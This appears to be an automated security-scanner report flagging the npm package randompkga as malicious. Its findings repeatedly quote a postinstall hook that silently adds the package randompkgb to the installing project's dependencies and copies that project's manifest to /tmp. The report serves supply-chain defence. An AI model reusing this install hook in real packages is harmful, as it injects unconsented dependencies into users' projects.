It injects randompkgb into that project's dependencies and copies its manifest to /tmp. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 98.0% - **Started:** 2026-08-19T22:52:43.571Z - **Finished:** 2026-08-19T22:53:08.600Z - **Download time:** 504 ms - **Static scan time:** 9 ms - **AI review time:** 24515 ms - **Total time:** 25029 ms ## Security analysis ### Published attack-surface review - **Summary:** Installing the package runs a postinstall hook in the consumer project. It injects randompkgb into that project's dependencies and copies its manifest to /tmp. - **Trigger:** npm installation - **Impact:** Unconsented mutation of the consumer's dependency manifest can introduce a further package into future installs. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-19T22:53:08.600Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** postinstall dependency injection and project-manifest copy - **Attack narrative:** On installation, the package changes directory to INIT\_CWD, which is the invoking consumer project, and uses npm pkg set to add randompkgb as a dependency. This silently modifies the consumer manifest and causes that additional package to be resolved on subsequent installs. It also copies the modified project manifest to /tmp. No benign runtime implementation is packaged. - **Rationale:** The package's only observable behavior is an unconsented postinstall mutation of the consumer project to inject another dependency. This is a concrete supply-chain attack behavior despite no network or credential code in this archive. - **Files touched:** package.json, $INIT\_CWD/package.json, /tmp/package-during-a-postinstall.json ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall changes the installing project's package.json to add randompkgb., The hook then copies that project manifest to /tmp., The declared main file is absent; the only packaged behavior is install-time mutation. - **Evidence against:** No packaged source file, network endpoint, credential access, or remote payload loader was found. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = cd "$INIT_CWD" && npm pkg set dependencies.randompkgb="^1.0.0" && cp package.json /tmp/package-during-a-postinstall.json ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = cd "$INIT_CWD" && npm pkg set dependencies.randompkgb="^1.0.0" && cp package.json /tmp/package-during-a-postinstall.json ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 98.0% - **Path:** package.json - **Public source:** [View source]() postinstall changes the installing project's package.json to add randompkgb. Public source snippet (untrusted): ```json "postinstall": "cd \"$INIT_CWD\" && npm pkg set dependencies.randompkgb=\"^1.0.0\" && cp package.json /tmp/package-during-a-postinstall.json" ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** package.json - **Public source:** [View source]() The hook then copies that project manifest to /tmp. Public source snippet (untrusted): ```json "postinstall": "cd \"$INIT_CWD\" && npm pkg set dependencies.randompkgb=\"^1.0.0\" && cp package.json /tmp/package-during-a-postinstall.json" ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** package.json - **Public source:** [View source]() The declared main file is absent; the only packaged behavior is install-time mutation. Public source snippet (untrusted): ```json "main": "index.js", "scripts": { "postinstall": "cd \"$INIT_CWD\" && npm pkg set dependencies.randompkgb=\"^1.0.0\" && cp package.json /tmp/package-during-a-postinstall.json" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** randompkga - **Ecosystem:** npm - **Version:** 1.0.17 - **License:** ISC - **Version published:** 2026-08-19T12:37:53.758Z - **Package first seen:** 2026-08-19T09:48:32.819Z - **Package last seen:** 2026-08-19T23:53:39.993Z - **Known versions:** 20 - **Latest version:** 1.0.22 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 335 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
